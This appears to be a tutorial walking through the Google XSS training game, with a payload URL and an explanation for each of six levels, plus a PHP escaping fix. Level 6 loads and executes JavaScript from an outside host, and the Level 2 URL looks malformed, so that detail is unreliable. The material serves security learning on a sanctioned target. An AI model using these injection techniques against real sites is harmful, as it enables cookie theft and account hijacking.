Google XSS Challenge Solutions Explained Clearly

Learning Cross-Site Scripting (XSS) is one of the best ways to level-up your cybersecurity and web development skills. And one of the coolest ways to practice XSS in a safe, legal environment is the Google XSS Challenge - a fun, puzzle-based game created by Google to help developers understand how XSS works in real web applications.

In this article, you’ll find a complete breakdown of all six levels, rewritten in a human-like, friendly American style, with hands-on explanations and code included. Whether you're a beginner or already familiar with XSS attacks, this guide will help you fully understand why each solution works - not just how to copy and paste it.

Let’s dive right in.

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What Is an XSS Vulnerability?​

Before jumping into the challenge, you need a clear idea of what XSS actually is.

Cross-Site Scripting (XSS) is a web vulnerability that happens when a website fails to properly sanitize user input, allowing attackers to inject and execute JavaScript inside a victim’s browser.

Example of a vulnerable XSS payload:​

<script>alert("XSS")</script>

If this executes on a site, attackers can:

• Steal session cookies
• Hijack accounts
• Redirect users
• Inject malicious forms
• Execute actions on behalf of the user

That’s why learning XSS is essential - not just for security researchers, but also for developers, penetration testers, and even bug hunters.

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Why the Google XSS Challenge Is Awesome​

Google created this challenge to help users learn:

• How to detect insecure input handling
• How different HTML contexts affect XSS
• How to escape attributes, tags, and JavaScript safely
• How URL fragments, query parameters, and event handlers affect security
• How real websites accidentally allow XSS

It’s basically an interactive crash course in thinking like an attacker.

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Level 1 - Hello, World of XSS​

This is the warm-up level. The page takes input from the query parameter and echoes it directly into the HTML without any sanitation.

Solution:​

https://xss-game.appspot.com/level1/frame?query=<script>alert(1)</script>

Why This Works:​

Because the value of query is placed inside the page as raw HTML. No escaping, no filtering - boom, instant XSS.
This teaches you the simplest form of reflected XSS.

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Level 2 - Persistence Is Key​

In this level, the challenge focuses on using event handlers to trigger JavaScript. Instead of injecting a <script> tag, you use an HTML element that contains JavaScript inside an event attribute.

Solution:​

https://xss-game.appspot.com/level2/framepost-content=<img src='foobar' onerror='alert("xss")'>

Why It Works:​

• The browser tries to load "foobar" as an image
• It fails
• The onerror event fires
• The alert appears

This shows how attackers use JavaScript events to bypass restrictions.

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Level 3 - That Sinking Feeling...​

Here, the user input is injected inside an HTML attribute. The goal is to break out of the attribute safely and inject your own script.

Solution:​

https://xss-game.appspot.com/level3/frame#'/><script>alert(1)</script>

Why This Works:​

This payload:

1. Breaks out of the HTML attribute
2. Inserts a closing tag
3. Injects a new <script> element
4. Executes it

This is a perfect example of an attribute-context XSS injection.

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Level 4 - Context Matters​

Now you're dealing with JavaScript context. The input is placed inside a JavaScript function. You must escape the string safely and inject your own code.

Solution:​

https://xss-game.appspot.com/level4/frame?timer=1')%3Balert('1

Why It Works:​

The payload:

• Closes the existing JS string
• Closes the JS function
• Injects a custom alert(1) call

This demonstrates JavaScript-context XSS, one of the most common forms.

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Level 5 - Breaking Protocol​

This level explores how URLs can be abused when developers fail to validate protocols correctly.

Solution:​

https://xss-game.appspot.com/level5/frame/signup?next=javascript:alert(1)

Why It Works:​

Because the page redirects to whatever URL you place in next.
If the app doesn't restrict the protocol, you can replace:
https://example.com/...
with
javascript:alert(1)
That’s a full JavaScript-based URL injection.

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Level 6 - Follow the X​

This is the toughest level. The app loads JavaScript from a URL fragment (#), which is normally ignored by servers but can be used in insecure client-side code.

Solution:​

https://xss-game.appspot.com/level6/frame#HTTPS://dj-infosec.divshot.io/content.js

Why This Works:​

The page loads the JavaScript file from the URL fragment and executes it.
This means an attacker can host malicious JavaScript on another site and load it directly.

This is a form of DOM-based XSS, which is the most dangerous type because it isn’t visible to the server.

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Bonus: Writing Secure Code to Prevent XSS​

To secure your applications, always filter and escape user input.

Vulnerable code:​

echo $_GET['name'];

Safe code:​

echo htmlspecialchars($_GET['name'], ENT_QUOTES, 'UTF-8');

Why This Matters:​

Using htmlspecialchars() converts characters like < > " ' into harmless text that can’t run JavaScript.

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Professional Tips for Learning XSS​

• Train with tools like Burp Suite, OWASP ZAP, and HackTheBox
• Understand Reflected, Stored, and DOM-based XSS
• Test user inputs in forms, URL parameters, headers, and cookies
• Study browser behavior, especially with event handlers
• Follow secure-coding practices in JavaScript, PHP, Python, Node.js, etc.

Mastering XSS makes you a stronger developer and a more capable ethical hacker.

Final Thoughts​

The Google XSS Challenge is a fantastic learning tool that forces you to experiment, break things, think creatively, and understand how attackers find vulnerabilities in real websites.

Each level teaches a different lesson - from HTML injection, to attribute escaping, to protocol abuse, to DOM-based XSS.

If you master these six levels, you’re far ahead of most beginners and well on your way toward becoming a professional penetration tester or web security expert.